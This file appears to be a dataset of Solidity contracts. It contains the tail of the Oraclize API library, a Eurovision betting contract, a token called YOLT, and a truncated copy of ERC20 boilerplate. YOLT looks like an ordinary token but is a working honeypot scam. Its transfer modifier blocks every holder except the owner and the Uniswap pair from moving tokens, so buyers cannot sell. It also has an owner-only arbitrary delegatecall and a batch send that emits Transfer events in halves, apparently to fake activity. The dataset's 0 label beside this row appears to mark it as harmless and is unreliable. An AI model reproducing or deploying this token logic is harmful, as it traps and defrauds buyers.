function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, sha3(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){
bool match_ = true;
if (prefix.length != n_random_bytes) throw;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Eurovision is usingOraclize {
using SafeMath for uint256;
enum Countries {
NONE,
Albania,
Armenia,
Australia,
Austria,
Azerbaijan,
Belarus,
Belgium,
Bulgaria,
Croatia,
Cyprus,
Czech_Republic,
Denmark,
Estonia,
Macedonia,
Finland,
France,
Georgia,
Germany,
Greece,
Hungary,
Iceland,
Ireland,
Israel,
Italy,
Latvia,
Lithuania,
Malta,
Moldova,
Montenegro,
Norway,
Poland,
Portugal,
Romania,
Russia,
San_Marino,
Serbia,
Slovenia,
Spain,
Sweden,
Switzerland,
The_Netherlands,
Ukraine,
United_Kingdom
}
uint256 public constant NUMBER_OF_COUNTRIES = uint256(Countries.United_Kingdom);
uint256 public countryWinnerID;
mapping (address => mapping (uint256 => uint256)) public stakes;
mapping (address => uint256) public weiReceived;
mapping (address => bool) public claimed;
Statistics[44] public countryStats;
struct Statistics {
uint256 amount;
uint256 numberOfStakers;
}
uint256 public constant STAKE_DEADLINE = 1525806000;
uint256 public constant ANNOUNCE_WINNER_DEADLINE = 1526670000;
uint256 public constant CLAIM_DEADLINE = 1528484400;
uint256 private attemptsToQueryInLast24Hours = 0;
uint256 private MIN_NUMBER_OF_ATTEMPTS_TO_WAIT = 3;
uint256 private lastQueryTime;
uint256 private constant MIN_CALLBACK_WAIT_TIME = 30 minutes;
uint256 public constant MIN_STAKE = 0.002 ether;
uint256 public totalPot = 0;
bool public winnerConfirmed = false;
bool public refundsEnabled = false;
address public owner;
uint256 public constant DEVELOPER_FEE_PERCENTAGE = 4;
uint256 public collectedFees = 0;
uint256 private constant PERCENTAGE_100 = 100;
event Stake(address indexed staker, uint256 indexed countryID, uint256 amount);
event WinnerAnnounced(uint256 winnerID);
event WinnerConfirmed(uint256 winnerID);
event Claim(address indexed staker, uint256 stakeAmount, uint256 claimAmount);
event RefundsEnabled();
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Eurovision() public {
owner = msg.sender;
countryWinnerID = uint256(Countries.NONE);
}
function stake(uint256 countryID) external validCountry(countryID) payable {
require(now <= STAKE_DEADLINE);
require(!refundsEnabled);
require(msg.value >= MIN_STAKE);
address staker = msg.sender;
uint256 weiAmount = msg.value;
uint256 fee = weiAmount.mul(DEVELOPER_FEE_PERCENTAGE) / PERCENTAGE_100;
uint256 actualStake = weiAmount.sub(fee);
weiReceived[staker] = weiReceived[staker].add(actualStake);
stakes[staker][countryID] = stakes[staker][countryID].add(actualStake);
countryStats[countryID].amount = countryStats[countryID].amount.add(actualStake);
if (stakes[staker][countryID] == actualStake) {
countryStats[countryID].numberOfStakers++;
}
collectedFees = collectedFees.add(fee);
totalPot = totalPot.add(actualStake);
Stake(staker, countryID, actualStake);
}
function refund() external {
require(canRefund());
require(!claimed[msg.sender]);
address refunder = msg.sender;
uint256 refundAmount = weiReceived[refunder].mul(PERCENTAGE_100) / (PERCENTAGE_100.sub(DEVELOPER_FEE_PERCENTAGE)) ;
claimed[refunder] = true;
if (collectedFees > 0) {
collectedFees = 0;
}
refunder.transfer(refundAmount);
Claim(refunder, refundAmount, refundAmount);
}
function claimWinnings() external {
require(winnerConfirmed);
require(now <= CLAIM_DEADLINE);
require(!refundsEnabled);
require(!claimed[msg.sender]);
address claimer = msg.sender;
uint256 myStakesOnWinner = myStakesOnCountry(countryWinnerID);
uint256 totalStakesOnWinner = countryStats[countryWinnerID].amount;
uint256 reward = myStakesOnWinner.mul(totalPot) / totalStakesOnWinner;
claimed[claimer] = true;
claimer.transfer(reward);
Claim(claimer, myStakesOnWinner, reward);
}
function queryWinner(string apiKey) external possibleToAnnounceWinner onlyOwner {
require(now > STAKE_DEADLINE);
if (now.add(24 hours) >= ANNOUNCE_WINNER_DEADLINE && countryWinnerID == uint256(Countries.NONE)) {
attemptsToQueryInLast24Hours.add(1);
lastQueryTime = now;
}
oraclize_query("computation", ["QmQ9PvNoKSRpbGduSbvyBHwVZQ97Pw7JYEnbTiLfcKHapE", apiKey]);
}
function __callback(bytes32 myid, string result) {
require(msg.sender == oraclize_cbAddress());
uint256 winnerID = parseInt(result);
require(winnerID > 0);
require(winnerID <= NUMBER_OF_COUNTRIES);
countryWinnerID = winnerID;
WinnerAnnounced(countryWinnerID);
}
function announceWinnerManually(uint256 winnerID) external validCountry(winnerID) possibleToAnnounceWinner onlyOwner {
require(attemptsToQueryInLast24Hours >= MIN_NUMBER_OF_ATTEMPTS_TO_WAIT);
require(now >= lastQueryTime.add(MIN_CALLBACK_WAIT_TIME));
countryWinnerID = winnerID;
WinnerAnnounced(countryWinnerID);
}
function confirmWinner() external possibleToAnnounceWinner onlyOwner {
require(countryWinnerID != uint256(Countries.NONE));
winnerConfirmed = true;
WinnerConfirmed(countryWinnerID);
}
function () external payable onlyOwner {
}
function getCountryStats(uint256 countryID) external view validCountry(countryID) returns(uint256 amount, uint256 numberOfStakers) {
return (countryStats[countryID].amount, countryStats[countryID].numberOfStakers);
}
function myStakesOnCountry(uint256 countryID) public view validCountry(countryID) returns(uint256 myStake) {
return stakes[msg.sender][countryID];
}
function myTotalStakeAmount() public view returns(uint256 myStake) {
return weiReceived[msg.sender];
}
function alreadyClaimed() public view returns(bool hasClaimed) {
return claimed[msg.sender];
}
function canRefund() public view returns(bool) {
bool winnerNotAnnouncedInTime = (now > ANNOUNCE_WINNER_DEADLINE) && !winnerConfirmed;
bool notExpired = (now <= CLAIM_DEADLINE);
return (refundsEnabled || winnerNotAnnouncedInTime) && notExpired;
}
function enableRefunds() external onlyOwner {
require(!refundsEnabled);
require(!winnerConfirmed);
refundsEnabled = true;
RefundsEnabled();
}
function claimFees() external onlyOwner {
require(now > CLAIM_DEADLINE);
require(collectedFees > 0);
uint256 amount = collectedFees;
collectedFees = 0;
owner.transfer(amount);
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0));
owner = newOwner;
OwnershipTransferred(owner, newOwner);
}
function kill() external onlyOwner {
require(now > CLAIM_DEADLINE);
selfdestruct(owner);
}
modifier validCountry(uint256 countryID) {
require(countryID > 0);
require(countryID <= NUMBER_OF_COUNTRIES);
_;
}
modifier possibleToAnnounceWinner() {
require(now <= ANNOUNCE_WINNER_DEADLINE);
require(!refundsEnabled);
require(!winnerConfirmed);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
} | 0 | 857 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract YOLT {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,211 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
